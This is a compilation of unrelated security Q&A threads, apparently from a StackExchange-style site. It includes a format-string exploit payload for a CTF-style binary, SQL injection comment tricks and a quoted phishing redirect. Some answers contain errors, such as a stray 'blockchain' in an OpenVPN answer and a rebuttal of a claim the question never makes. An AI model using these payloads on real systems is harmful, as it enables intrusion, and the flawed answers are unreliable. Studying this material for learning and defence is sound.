Would an attacker be able to decrypt recorded data streams if he is able to obtain username/password? Is this configuration unsafe?

Does your configuration have a tls-client and tls-auth key settings?
If not, your assumptions are correct and yes, an attacker could decrypt content of previously captured data streams. He would need the complete blockchain captured as well and some know clear text.


A couple of redirects after clicking in a link, what are they after? I got an mass email from an friend containing only this link (made not clicable on purpose):

http://www.casadelapiedra.com/components/com_content/id876757355.php

I imagine she is got some kind of virus, but since I'm curious and not very careful I clicked on.

The PHP that loaded redirected me to another site.

PHP page:

You are here because one of your friends
 have invited you.

Page loading, please wait....

<meta http-equiv="refresh" content="0; url=http://newsmarketgenonline10go.eu/?12/2">

That other site in turn gave a '302 moved temporarily' and redirected me to Google.

Whois doesn't reveal anything about the domain, dig on the MX shows that they use a dynamic DNS. Didn't get any extra info on the A record, besides that is from Latvia:  ns1.altnet.lv. admin.altnet.lv

What could them be after? Confirming email addresses?

The first link uses a redirect webpage that is detected by many antivirus products as:

Sophos: Troj/Redir-O
Microsoft: Trojan:HTML/BlacoleRef.A
Kaspersky: Trojan.HTML.Redirector.an
AntiVir: HTML/FriendLoad.A

The text
 You are here because one of your friends
 have invited you.
 Page loading, please wait.... is the thing that is being detected so it was probably used  before in a malware or spam campaign to redirect to different websites.

An analysis of an older but similar redirector is here.

  [...] will redirect you to the following website that masquerades as a
  CNBC website article,
  For example:

  marketnewsonline10.com
  marketnewsonline11.com
  marketnewsnext7online.com

The site it redirect to, http://newsmarketgenonline10go.eu is detected by Websense ThreatSeeker as a phishing site.

Other similar domains used in the same campaign are also detected as phishing:

Phishtank:    Phishing site
Comodo Site Inspector:    Phishing site
Websense ThreatSeeker:    Phishing site

This looks to me like an abandoned phishing campaign.


Why isn't Amazon using a NONCE for REST Authentication? When you look at Amazons RESTAuthentication you can see that it doesn't use a nonce:

Authorization = "AWS" + " " + AWSAccessKeyId + ":" + Signature;

Signature = Base64( HMAC-SHA1( YourSecretAccessKeyID, UTF-8-Encoding-Of( StringToSign ) ) );

StringToSign = HTTP-Verb + "\n" +
    Content-MD5 + "\n" +
    Content-Type + "\n" +
    Date + "\n" +
    CanonicalizedAmzHeaders +
    CanonicalizedResource;

CanonicalizedResource = [ "/" + Bucket ] +
    <HTTP-Request-URI, from the protocol name up to the query string> +
    [ subresource, if present. For example "?acl", "?location", "?logging", or "?torrent"];

CanonicalizedAmzHeaders = <described below>

Shouldn't this include a nonce? Do they guard against replay attacks in another way? How?

Usage of a nonce makes the design complicated. The s3 server will have to send a nonce and the client will have to maintain a session or hold the nonce value. The absence of nonce definitely leads to replay attack as you mentioned and that is the primary reason for all direct URL access vulnerabilities which exist in applications which uses S3 storage. Amazon thinks that limiting the attack surface using a time stamp reduces the risk to an acceptable level. For example if the request time-stamp is not within a set window (5-15 mins) it is considered invalid.


How to create a server certificate from a letsencrypt.org certificate? I have created a letscrypt.org certificate using letsencrypt run which works fine as a SSL certificate on apache2. How can I create another server certificate signed (and thus trusted) by the letsencrypt.org certificate?

I tried to create a CSR with

openssl req -new -key file.key -out file.csr

which I assume I can sign with

openssl x509 -extensions server_cert -req -in file.csr -CA /etc/letsencrypt/live/[domain name]/fullchain.pem -CAkey /etc/letsencrypt/live/[domain name]/privkey.pem -CAcreateserial -out file.pem -days 500 -sha256

The result is the SEC_ERROR_INADEQUATE_KEY_USAGE in firefox 47.0 on Ubuntu 16.04.

I assume the resulting certificate is trusted like the letsencrypt.org certificate is since the chain of trust shouldn't be broken. The to be created certificate is unnecessary. I want to create it for the purpose of learning in case this question doesn't reveal I'm requesting something impossible.

You cannot use your SSL certificate purchased from Let's Encrypt to sign other certificates. In order to do this, your certificate must be CA certificate. This is done by setting isCA=true in the BasicConstraints certificate extension. In addition, KeyUsages extension should include a keyCertSign bit enabled.

More information on how Basic Constraints extension works in my blog post: Basic Constraints certificate extension

Your SSL certificate doesn't have such setting and no one will give you such.

What you need is to acquire another certificate from CA  provider (Let's Encrypt, for instance).

Edit:
as aside note. You can purchase CA certificate from public CAs, however it is quite expensive. Service costs are thousands and thousands dollars. In addition, you will have to purchase a Hardware Security Module (HSM) which are quite expensive ($5k+ for PCI card and around $30k+ for net HSM like Thales nCipher). And you will have to pass external audits to verify policy conformance. This procedure is called Certification Authority Root Signing. I wrote an article about the subject: https://social.technet.microsoft.com/wiki/contents/articles/5973.certification-authority-root-signing.aspx

I suspect that this is not your case, so as @crovers suggested, you just need to acquire another certificate from Let's Encrypt like you already did for your domain.


Can I use `lsof` to reliably determine which local process has connected to my open port? Say I'm running a server application on 127.0.0.1:7646 and a local process (possibly owned by a different user) connects to it, I can run

lsof -Fp -i TCP@127.0.0.1:7646 -i TCP@127.0.0.1:<ClientPort>

which outputs something like

p6429
f4
p6433
f5

where p* are the PIDs of both participants/endpoints.

Now my question is: can I trust lsof's output (provided that nobody modified the lsof-binary)? Or in other terms: Could someone without root-permissions manipulate lsofs output to display a different PID?

Edit: If this is platform-dependent, I'm specifically interested in macOS, Linux and FreeBSD.

If you trust the user running lsof and specify the full path (/usr/bin/lsof?), you should be able to trust the output.  If you're aiming for lsof to run as the user who is connecting to your server, it's really difficult to prevent an lsof in their path from running or an alias catching the call first.  Also see 'netstat -A inet -A inet6 -alp'

If you're really paranoid you could check the package manager database (rpm, dpkg, etc) to make sure that the binary hadn't changed since install before calling it (with the full path).


Girlfriend just sent Personal info over email My GF just hit me up and told me she just sent some of her personal info over an email. She was trying to send her folks some documents.I guess the documents had some sensitive info on them Like her full name, SSN#, etc. The email was not encrypted. How at risk is she and what should she do from here? She is freaking out.

Most of the people who are in power to eavesdrop on the email, like the internet service providers and email providers of her and her recipient and the three letter agencies, are likely not very interested in that information. Providers are in a position to collect lots of sensitive information, but they can not risk to abuse it, because it would be quite a public relation disaster for them when it would become public (besides, in many jurisdictions it would be against the law). Government entities already have all that information anyway, so unless she is also involved in some criminal activity she should be fine.

It should, however, not become a habbit to send unencrypted personal information via email.

It might happen that they get sent or received over an open Wifi network, which allows the owner of the network to eavesdrop and when it is unencrypted also anyone else in the network.

Also, the bulk of information which accumulates in domestic and foreign government databases that way could one day make her or her affiliates a target of a dragnet investigation. The more information government entities collect, the higher the likeliness that many points of seemingly harmless data just coincidentally match with that of wanted criminals.


Disadvantages of metasploit Framework for windows Are there any explicit disadvantages in comparison to running it on a UNIX machine these days?

For one, it might not work at all. I tried recently(in April 2012) on two Windows machines (7 and 2008 R2), and some aspect of the PostgreSQL setup invariably fails.

I spoke to a Rapid7 account manager about it, and he confirmed that the Windows version is flaky.

He also recommended against using it in a production environment.


In SQL injections why do they put "-- -" at the end of the URL? I understand when they put a + at the end, URL treats it like a space.

I want to know what -- - does. I do know what the "double dash" does. Including the double dash with a "space at the end". I specifically want to know what a dash-dash-space-dash does.

The last dash basically protects the trailing space. If you exploit SQL injection in a browser (e.g. via the URL), some browsers remove trailing space characters. Some prominent SQL flavors explicitly require the Space after Dash-Dash to treat the sequence as the start of a comment, so attackers often add a character after the Space to protect it against such browser optimization.

You could use any character to accomplish this. -- x would do exactly the same.


jwt symmetric signature security risks (from client side) I am currently implementing an iOS app, which integrates with a cloud hosted .net backend system in azure, which.

The api login endpoint takes user/pass -> replies with an signed only HS256 jwt token. All further calls to the endpoint require an Authorization header of type bearer, and the endpoint supports renewal of this token, as long the token is not expired, for what it seems to be an infinite amount of time.
(which in itself isn't great). The server-side seems to validate the signature of this token in every request.

In the past having used only RSA tokens, we always shared with clients the public key so they could verify the signature of the token. However since this api only supports HS256, this is not possible.

What security risks would a client not verifying the signature incur for the client side?
An obvious one is accessing cached data within the screens. But would there be more serious ones?
Thanks in advance.

First of all I am extremely sorry if I did not understood the question correctly.

IMHO, if a token got hijacked (implementing MiTM), then the malicious user (especially if signature is not verified and the TTL of token is infinite) can use it to impersonate as server, pushing and update (depends on how you actually built your service) and doing anything he can by impersonating server responses. Or he can impersonate the client, and try to update account details in application.

Regarding the difficulty of such attack, it requires to be targeted (because hacker have to listen to traffic first), and depends much on a server side\client side settings (storing token in server side cookies not accessible by javascript to defend against physical access, setting TTL to a very short time, and so on).


How to prevent spam when sender email is never the same? Recently, I have been massively spammed by emails, and unsubscribing via the link doesn't work. Another option is to block the sender, but the problem is that the sender email is never the same. It's always in the form of Support@********.de, but the ******** part is never the same.

They all go to the junk folder, but some legit emails also go to the junk folder, so I can't just ignore this folder. And as I receive hundreds of emails, it prevents me from reading the real mails.

Is this problem common, and what can I do about it?

For what it's worth, my email is Hotmail, and I use Outlook Live to read them.

Spam is a security concern because it can contain various phishing and malware attacks. This should be really concerning because the more spam you get the greater chance you will click a link thinking it's legitimate and get hacked.

Once you get on the spam lists, there is nothing you can do to get off of them. It now becomes a question of how important that account is to you?

Hotmail/Outlook is notoriously bad a spam filtering. Contrast that with Gmail or iCloud which have such good spam filtering that I NEVER see spam. "Google says less than 0.1 percent of email in the average Gmail inbox is spam while wanted mail in spam folders is under 0.05 percent." here

So, my recommendation would be to open a Gmail or iCloud account and start to gradually migrate your contacts/mailing lists over to that account.

But if you insist on staying with your current account, there are a few things you can do to mitigate some of that spam:

Instead of deleting spam, mark it as 'junk'. There should be a button for that. That will better tweak the algorithms.
There is an Outlook mail setting 'Block attachments, pictures, and links from anyone not in my Safe senders and domains list' checkbox. Then add the senders and domains you trust to this list.
Don't reply to spam or unsubscribe from spam messages. Don't even look at it as the sender can have a tracker that shows you opened it.
Never tried a spam plugin myself, but these may be worth a shot: Top Anti-Spam Add-Ins for Outlook

Alternatively, you can forward your mail to Gmail and take advantage of its spam filters. You even have the option of sending and receiving Hotmail from a Gmail account. See here


Must mail relays always indicate the use of encryption in the “Received:” header field? When an email message is sent with transport encryption, you can tell it from the “Received:” field the receiving mail relay adds to the message header.

> Received: from [...].google.com ([...]) by
> [...].mail.protection.outlook.com ([...]) with Microsoft
> SMTP Server (TLS) id [...] via Frontend Transport; [...] +0000

I’m wondering if this is always the case (e.g., because it is required by some sort of standard).

Here’s an excerpt from the header of a message I got recently from a customer support service.

> Received: from freshdesk.com (ec2-[...].compute-1.amazonaws.com [...])
>         by ismtpd[...]iad1.sendgrid.net (SG) with ESMTP id [...]
>         for <[...]>; [...] +0000 (UTC)

And here’s another, perhaps more worrying, from ACM’s email forwarder.

> Received: from in-007.lax.mailroute.net
>        by acmsmtp01.acm.org (ACM Email Forwarding Service) with ESMTP id [...]
>        for <[...]>; [...] -0500

Can I be certain in these cases that the messages were transmitted in clear text?

I’m wondering if this is always the case (e.g., because it is required by some sort of standard).

Not really. The most recent RFC for SMTP RFC 5321 describes the format of the received header but this includes no such information, probably also because STARTTLS for SMTP is an extra standard. This standard is described in RFC 3207 and provides no information about what should be added to the Received header either.

Generally the information are stored inside comment parts of the Received header (which can be inserted almost anywhere) and seem to adhere to not a single specific format. Thus it is mostly up to the mail server if and how this is included in the Received header and different mail servers handle it differently.

Apart from that it is no proof that the message was really transmitted with TLS even if you find this header. This header is just inserted by the server which can put anything inside it. It could also be modified or removed by other mail servers further in the path. None if the information there can be trusted fully, because they are not protected against deletion, spoofing or modification in any way.


Is tor really fully decentralized? I think, somewhere an initial list of the connectable peers had to download. Manipulating this list, or the server providing this list, weren't a serious security compromise of the whole network?

Yes, you need to start from somewhere to ask about where nodes are, but that doesn't mean you have to use one of the ones that are in the provided list.  You can use whatever node you trust.

Every distributed system requires asking for other systems that are part of the network, otherwise you would just have to try IPs at random until you found someone providing the service you are looking for.

It is decentralized because peers will tell each other where to find more peers.


Allowing 3rd party to examine SSL/TLS traffic on servers which provide PFS I have a question regarding the combination of CDN's & PFS configured servers.

A client of mine uses Akamai's CDN services on a large scale.
Most of the clients application is on Clear-text pure HTTP.
On payments pages, HTTPS is enforced and only allowing key exchange algorithms which provide PFS.

My question is, in case of Akamai having to examine traffic for WAF's/DDoS mitigation solution, will they be able to decrypt the traffic for each connection although the existence of PFS?

I'm not familiar with Akamai's infrastructure but since they are the endpoint of the HTTPS connection there is no need to decrypt their own traffic. Instead they can have some SSL termination somewhere in their system and from then on could analyze all traffic in clear. Also, it is not uncommon to have WAF functionality and webserver integrated in one system. And most of the DoS protection is done at layer 3 and 4 anyway, i.e. it does not care if the traffic is encrypted or not.
Thus I very much doubt that they would even try to decrypt the traffic since this much easier and cheaper ways for traffic inspection exist.


Does CAN bus communication need encryption? I'm currently researching into CAN security for in-vehicle communication. I would like to know if anyone knows a reason why the CAN payloads of an ECU communication (between CAN nodes) should be encrypted when integrity, authenticity and protection against replay attacks are guaranteed.

In case of key exchange messages or other security protocol related messages that need protection against eavesdroppers encryption is undoubtedly necessary. Same goes for privacy critical data like GPS output.

However, I'm wondering why some researchers suggest encryption of any CAN payload. Is there anything useful an adversary could learn by sniffing CAN pakets which neither can be replayed nor manipulated?

I'd say CAN doesn't need encryption just like communications between CPUs and GPUs don't need it. It would add complexity, latency and more risk of failure in a critical system often used to control safety features. Physical security is already enough, as there is (or should be) no way for a remote attacker to access the CAN bus, and a local attacker with physical access may as well directly tamper with the ECU, completely bypassing the encryption.

What car manufacturers should work on instead is better segregation between different devices, possibly using separate firewalls to make sure devices can only send types of messages they are supposed to send.


Many websites allow passwords equal to username or e-mail address. Is this not a security risk? I'm currently testing password policies on websites to get a feeling for what might be an acceptable policy/trade-off that provides good protection for our users without frustrating them.

I was surprised to find out that each and every website I tested allowed me to set a password that was equal to my username or e-mail address. If it couldn't be set to the username, it was only because it didn't meet the minimum length requirement. Equal to e-mail address worked every time. Even on sites that had rather strict policies otherwise.

Instinctively, I would think that this is no more secure than using a stupid password, such as "1234" or "password". I'm also pretty sure that NIST SP 800-63B advises against such context-specific passwords (i.e. containing application name, username or user e-mail address). Unfortunately, I cannot verify this claim, as the NIST publication seems to be currently unavailable due to the US government shutdown.

Am I wrong in thinking that such context-specific passwords should be treated in the same manner as "stupid" passwords? If yes, what am I not seeing?

ETA: I'm thinking technical reasons that might make one case not feasible for attackers. I understand there may be non-technical reasons for this, e.g. a product team wanting to allow users to copy & paste their e-mail addresses into both fields to quickly proceed and make a purchase.

You are correct in that the NIST SP 800-63B does advise that verifiers check secrets "against a list that contains values known to be commonly-used, expected, or compromised:
....
Context-specific words, such as the name of the service, the username, and derivatives thereof."

From personal experience, I do remember interacting with services which have had this requirement: a Google search for a typical error message ("Passwords must not contain your username") does show that services out there are following NIST advice.

On the topic of implementing NIST, it also recommends against "repetitive or sequential characters (e.g. ‘aaaaaa’, ‘1234abcd’)". I don't see this implemented as often as other secret verification.

tl;dr: You're not wrong about the NIST specification.


Can one get infected through visiting a site with a PHP script on it and if yes, how? I can imagine a clientside JavaScript that gets executed in a vulnerable browser to do some harm, but how can this be done with PHP?

Since it's serverside it shouldn't have access to the visitor's computer.

PHP runs on the server; it is code which ultimately produces a Web page to be returned to the client. From the client point of view, only the received bytes matter, not how they were computed on the server; it makes no difference whatsoever to the client if the Web page was dynamically generated with PHP or Java or whatever, or if it was the contents of a statically served file.

So there is no specific "PHP powered" client infection which can take place, and which would not have been equally infectious if done server-side with any other technology.

Of course, mere rational thinking should not prevent anybody from laying blame. When the Black Death scourged Europe in medieval times, it was (probably) due to a pathogen agent relayed by fleas who were carried by rats; so the rats were not really responsible, being at worst second-level indirect accomplices. Yet they took the full force of the blame.

Similarly, while PHP is by no means responsible for client infection, incautiously written PHP server code can make servers vulnerable to hostile takeover, which can result in turning them into vectors of infection for clients (using one of the myriad security holes in client browsers). So it is possible to say, with only the minutest dose of unfairness, that PHP can be considered somewhat harmful to clients.


How to exploit variable's value I'm trying to exploit a binary file which I have access to the source code.

int flag = 0;

int main() {
    char buf[0x50];
    puts("Who are you? ");
    printf("> ");
    fgets(buf, 0x50, stdin);
    printf(buf);

    if (flag == 1337) {
        puts("Enjoy your shell!");
        system("/bin/sh");}
    else {
        puts("Not allowed");
    }
    return 0;
}

As you can see from source code, if flag is 1377 I'll get a shell. I can see that with gdb aswell.

 0x4007ec <main+175>       mov    eax, DWORD PTR [rip+0x200892]       # 0x601084 <flag>
 0x4007f2 <main+181>       cmp    eax, 0x539

Security measures are setup like this:

Canary                        : Yes
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

So, first of all I cannot do the classic buffer overflow because the program uses fgets to gather input. Of course canary is there too, but will make no harm because If I was able to change flag's value (before Canary's check was made) I would be successful on getting that shell. I don't know If what I'm thinking this right, so please correct me If I'm wrong.

My first conclusion on this was that, I would not be able to exploit buf in order to rewrite flag's value. (I assumed that buf and flag would be placed right next to each other on the stack). I think I'm right on this because when I took a look at $rsp register and found that only the allowed amount of "A"'s were placed on the stack. So even if flag was placed right beneath it, flag's value would not be overwritten. Am I right so far? That would be my first question

0x7fffffffdaf0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdb00: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdb10: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdb20: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdb30: 0x41414141  0x41414141  0x41414141  0x00414141
0x7fffffffdb40: 0x00400840  0x00000000  0x96703f00  0x948afed7
0x7fffffffdb50: 0xffffdc40  0x00007fff  0x00000000  0x00000000

So, how would I be able to range that value? I think that the exploit must come from the payload provided by a malicious user but buf is the only way to get that payload into the stack. Since I cannot overwrite registers by overflowing buf I'm a bit lost.

You are right that the buffer cannot overflow the flag because of the bounds check. Fgets also includes the null character in its bound check.
http://www.cplusplus.com/reference/cstdio/fgets/

However, there is a string format vulnerability here:

printf(buf);

The user-controlled variable buf is used in a printf statement, causing a format string vulnerability.

https://www.exploit-db.com/docs/28476.pdf

Using a combination of %x %n you can overwrite the flag with "1337." %x is used to pop values off the stack, and %n is used to write the number of characters into that address. The "1337u" expands the number of characters so you can write the correct value. For example, if the memory location of flag is "0xffffff80"

$(python -c 'print "\x80\xff\xff\xff"+"%x%1337u%n"')

This will write a number that is greater than 1337 because of the other stuff before the "1337u," so you just subtract that number by the amount you go overboard, and you'll have the right number. Or, if you want to do some math, the value of "u" is:
“The byte to be written” – “the outputted byte” + “the width of the %x specified just before the %n”


PHP password_hash (bcrypt) vs sha-3 password_hash() is the recommended function in PHP to generate password hashes. The standard usage is password_hash($password, PASSWORD_DEFAULT); and default hash with PASSWORD_DEFAULT is bcrypt. The benefit is using the built-in password_verify() and password_needs_rehash() functions in PHP.

I was wondering if SHA3-512 with unsalted hashes, hash("sha3-512", $password); would be better, worse or as good as the password_hash option.

For passwords, bcrypt is a much better option that SHA-3.  SHA-3 and bcrypt serve different purposes.  BCrypt is a Key-Derivation Function, while SHA-3 is a regular hash.  KDFs are deliberately more computationally intensive than standard has functions. The slower a hashing function is, the longer it takes to crack. This helps protect against offline attacks in the event the hashes are stolen.

The below article can give you a good overview as to the threat you are trying to defend against.
https://arstechnica.com/information-technology/2012/08/passwords-under-assault/


Running a local server inside a virtual machine disconnected from the Internet - is this secure? This is a follow up to the question I asked yesterday.

According to the only answer I got, running a local Apache server used for development while simultaneously being connected to a commercial VPN provider is insecure, even though I configured Apache to only accept connections from 127.0.0.1:80. So the workaround I came up with is that I will set up a virtual machine that will be disconnected from the Internet (i.e. with disabled network adapter in VirtualBox) and run my server there, and do my VPN browsing in the host OS.

I believe this would prevent the server from being reachable any other way but by my computer, is that true? Is this a good idea?

The answer to your previous question was wrong. Running a web server accessible only at 127.0.0.1:80 is secure in that context, unless you are forwarding packets from the VPN interface to loopback.

To answer your current question: Yes, the web server would be unreachable outside of your VM, but it's not needed.

Personally, I would do my browsing via the VPN inside of a VM to potentially limit any client side exploits (browser, etc)


Is it safe to use RPC with sensitive data through an encrypted VPN connection instead of SSL/TLS? I have an application where there I'm planning the following setup:

user  <-----------------> layer 1 server <------------------> backend server
        internet (https)                    RPC through VPN

So when a user makes a request, it goes through standard SSL/TLS to the layer 1 server, then that has a program that calls a software in another location through the internet, which is connected to the layer 1 server through an OpenVPN connection.

To simplify the design of my application, I'd prefer that the RPC connection is without SSL/TLS. I'm thinking of that VPN connection as a replacement to the security requirements of a TLS encrypted connection. Does this provide the same security level?

The RPC sends user/password data to the server, which it just forwards to the backend server after wrapping it with some other objects.

What are the expected drawbacks from such a design?

A VPN provides protection between system at the network level, SSL/TLS instead provides protection between applications at the application level. The first might be enough in some cases and might not be sufficient in others. For example: if you want the client application to authenticate itself against the API then VPN is not enough since it at most could authenticate the clients machine against the servers machine.  Also, more trust into the machine is needed if the protection ends at the network level (VPN) and not at the application level (SSL/TLS).


CrashPlan: Is the archive key password stored on the server? I'm considering enabling Archive Key Password in my CrashPlan account. I'd like to understand how secure this feature is.
CrashPlan documentation for Archive Key Password says (emphasis added):

Instead of securing the encryption key with your account password, you are choosing to secure the key with an additional password, called an archive key password. Only the secured encryption key is stored on CrashPlan servers.
[...]
The key is encrypted with your archive key password and stored on the
master server
[...]
If you lose or forget your archive key password: [...]
Without an archive question enabled: There is no way to reset your archive key password if it is lost or forgotten. You will be unable to
restore files and you must start over with a new account.

It then describes the Archive Question feature:

In the event that your archive key password is lost or forgotten, and you have this feature enabled, you can answer your archive question.
[...]

If the salted and hashed version of the stored answer matches the salted and hashed version of the supplied answer, you can enter a new archive key password.
The secure key stored on the master server is updated with the new
archive key password.

Since the secured key is encrypted using the old archive key password, I would expect that updating the secured key requires it.
However, the old archive key password isn't available in this scenario (lost or forgotten), and is supposedly not stored on the servers.
How then can the secured key be updated with the new archive key password in this scenario?

The computer(s) running CrashPlan (your computers) will always have access to the key in plain text. That is why, when using the Archive Question feature, you are able to re-secure that key with a new password, and re-send it to the CrashPlan servers, without knowing the old password.
That is also why this feature is not available on the web; it's only in the CrashPlan desktop application.

Of note: if you somehow lose the plain text version of the key stored on your computer (your hard drive dies or something) AND you forgot your archive key password, you will not be able to restore any of your files, since in this case, the only copy of the key will be the secured version on the CrashPlan server, which nobody will know the password of.

i.e. Don't lose your Archive Key Password (use a password manager - can I suggest 1Password?) and/or backup (not using CrashPlan!) your key, which I think is stored in the .identity file.


How to timestamp a document without electronic signature under eIDAS I need to timestamp a file to prove data integrity, not authorship. I will use a RFC3161 qualified timestamping service.

From the EU Regulation Section 6, Article 41, I understand that I can use a timestamp without an electronic signature*, as they are use to prove different things.

PAdES, XAdES and CAdES needs a signature (over which a timestamp is applied).

As far as I know, I can't use PAdES/CAdES/XAdES without an electronic signature.

What is the prefered way to timestamp a document under eIDAS without an electronic signature?

*_The RFC 3161 timestamp is signed by the timestamp authority. I am refering to my electronic signature.

Let's start with full disclosure:

I work as a software developer for Disig a.s. -  Trust Service Provider from Slovakia - and I'll use our products and services to demonstrate the technology I'll describe in this post. I've written several server-side and client-side products for time-stamping over the years so my perception of legislation/standards/reality may be biased. You've been warned :)

Let's answer your question:

  What is the preferred way to timestamp a document under eIDAS without an electronic signature?

IMO the preferred way is to use RFC 3161 based qualified time-stamping service and store the received time-stamp token in ASiC-S container.

Let's look at related legislation:

Regulation (EU) No 910/2014 also known as eIDAS does not define technical details itself but rather says:

In Article 27(5) that the Commission may, by means of implementing acts, establish reference numbers of standards for advanced electronic signatures.
In Article 37(5) that the Commission may, by means of implementing acts, establish reference numbers of standards for advanced electronic seals.
In Article 41(2) that the Commission may, by means of implementing acts, establish reference numbers of standards for the binding of date and time to data and for accurate time sources (IMO this refers to time stamps).

I am not aware of any implementing act directly covering the third Article 41(2) but the first two - Article 27(5) and Article 37(5) - are covered by Commission Implementing Decision (EU) 2015/1506 of 8 September 2015 which IMO indirectly covers also the third because it refers to the following technical standards:

XAdES Baseline Profile defined by ETSI TS 103 171 v.2.1.1
CAdES Baseline Profile defined by ETSI TS 103 173 v.2.2.1
PAdES Baseline Profile defined by ETSI TS 103 172 v.2.2.2
Associated Signature Container Baseline Profile defined by ETSI TS 103 174 v.2.2.1

First three are signature related but the fourth one defines also ASiC-S and ASiC-E container types that can store RFC 3161 time-stamp tokens along with the timestamped document.

Let's look at practical example:

In the first step I am using open source application TimeStampClient to timestamp plain text file hello.txt with eIDAS compliant qualified time-stamping service:

TimeStampClient produces ASiC-S TST container and saves it as hello.txt.asics. If you change .asics extension to .zip extension you can open this container and explore its contents in almost any reasonably current operating system. Please note that file timestamp.tst stored in META-INF folder is raw time-stamp token received from time-stamping service and you can extract it and use it directly whenever needed (for example when you want to use it or validate it in application that does not support ASiC-S TST).

In the second step I am using validation service zep.disig.sk to verify the validity of timestamp:

As you can see this service supports ASiC-S TST and correctly verifies timestamp validity.

In the third step I am using validation service DSS Demo to verify the validity of timestamp:

As you can see this service supports ASiC-S containers but fails to detect the timestamp. I guess it does not support ASiC-S TST yet.


Certificate extensions - specific constraints I have question about extensions of certificate and what specific extension should I use in my situation.

The problem is following: I have a CA and I want that CA will issue certificate only for specific type of service. For example imagine application that can do 4 different type of actions (let's say action A, action B, C and D). For every action the application has to authenticate. Now suppose that some application want to do only action A and C. I want to issue a certificate for this app that specifies only this two type of actions and the app can not use this certificate to authenticate to do action D.

And it does not have to just applications. You can image users here.

I realise that I can solve this with 4 different type of CA for each type of service but this seems to be clumsy. I studied extensions of certificates but I didn't find some that fits my needs. And I also read about attributed certificates that could solve this situations but I also heard that they are not so common so I am not sure about them.

Do I have to use attributed certificates or do I miss some simple solution?

Thank you!

There are mostly two main ways, one of which using certificate extensions, and one of which being a bad idea. These two are the same...

In a certificate, you can encode "usages" as part of the Extended Key Usage extension. In your terminology, you would define some OIDs for actions A, B, C and D, and put only OIDs for A and C in the certificate.

What is bad about it is that your are conflating authentication and authorization into a certificate, and certificates are not good at authorization. To be clear:

Authentication is about making sure who is calling. That's what certificates are for: they bind an identity to a public key, and the transport protocol (e.g. SSL) makes sure that the caller controls the private key corresponding to that public key.
Authorization is about deciding what a given individual should be allowed to do. It normally takes place after authentication.

Certificates are not good at authorization tasks, for a variety of reasons, in particular because the only mechanism which can "cancel" a certificate is revocation, which is asynchronous (it can takes several hours or even days for a revocation to propagate through CRL) and all-or-nothing (you cannot revoke a certificate partially). In your situation, this would mean that if you want to lock out a specific application, the locking-out will take hours to be effective; and you cannot remove the right to do action C without removing the right to do action A. Similarly, if you want to grant a new access right to a client, you have to issue a new certificate, and send it to the client; if the client stores its certificates on a device (e.g. a smart card), this can raise usability issues (a basic PC can use smart cards out of the box, but writing into the smart card requires some specific software).

For these reasons, you really should use certificates for authentication only. In a client/server context, the certificate is used by the client to demonstrate its identity to the server, but the authorization is a decision which is purely server-side. There is no need for the authorization data to ever occur on the client side.

In a Microsoft / Active Directory world, authorization would be embodied by ACL and group memberships on the AD servers. The certificates are used to map the requester onto an account, but the rights granted to that account are maintained in the AD server, not in the certificate.


Enterprise and Open Cryptographic Systems/Applications? Please can someone tell me the main Enterprise/Open Cryptographic Systems in use, I am having a hard time googling for them. I know OpenPGP is one, but is that the best and most ubiquitous one for ogranisations/enterprises etc?

I am thinking for authentication, encryption etc. Emails, files, network access etc.

Thanks

One enterprise option is credant.  I know that there is a multitude of different tools out there to look at.

As for open source, Truecrypt is always a good tool.  But again, you can find a plethora of options online.

P.S. There's also a nice android app that I use called IOSafe which is a mobile equivalent to to keepass (also a good tool).  Both tools are used to store user account/password information and can also be used to securely save additional information.


How to estimate the time needed to crack RSA encryption? How to estimate the time needed to crack RSA encryption? I mean the time needed to crack Rsa encryption with key length of 1024, 2048, 3072, 4096, 5120, 6144, 5120, 7168, 8192, 9216, 10240, 11264, 12288, 13312, 14336, 15360, and 16384?

See this site for a summary of the key strength estimates used by various researchers and organizations.

Your "512-bits in 12μs" is completely bogus. Let's see from where it comes. 1999 was the year when the first 512-bit general factorization was performed, on a challenge published by RSA (the company) and called RSA-155 (because the number consisted in 155 decimal digits -- in binary, the length is 512 bits). That factorization took 6 months. At the Eurocrypt event organized the same year (in May; at that time the 512-bit factorization effort had begun but was not completed yet), Adi Shamir, from the Weizmann Institute, presented a theoretical device called TWINKLE which, supposedly, may help quite a bit in a factorization effort. It should consist in a huge number of diodes flashing at carefully selected frequencies, in a kind of black tube. Shamir brought a custom device which, from 10 meters away, looked like a coffee machine. He asked for people to switch off the light, so that the Eurocrypt attendee could marvel at the four red diodes flashing at invervals of 2, 3, 5 and 7 seconds. Ooh! and Aah! they went, although the actual machine, would it be built, would require a few millions of diodes and frequencies in the 10 or 100 gigahertz. So the idea is fun (at least for researchers in cryptology, who are known to have a strange sense of humor) but has not gone beyond the theoretical sketch step yet. Shamir is a great showman.

However, TWINKLE is only "help". The best known factorization algorithm is called the General Number Field Sieve; the two algorithms which come next are the Quadratic Sieve and the Elliptic Curve Method. A 512-bit number is out of reach of QS and ECM with today's technology, and a fortiori with 1999's technology. GNFS is very complex (mathematically speaking), especially since it requires a careful selection of some critical parameters ("polynomial selection"). So there must be an initial effort by very smart brains (with big computers, but brains are the most important here). Afterward, GNFS consists in two parts, the sieve and the linear reduction. The sieve can be made in parallel over hundreds or thousand of machines, which must still be relatively big (in RAM), but this is doable. The linear reduction involves computing things with a matrix which is too big to fit in a computer (by several orders of magnitude, and even if we assume that the said computer has terabytes of fast RAM). There are algorithms to keep the matrix (which is quite sparse) in a compressed format and still be able to compute on that, but this is hard. In the 512-bit factorization, sieving took about 80% of the total time, but for bigger numbers the linear reduction is the bottleneck.

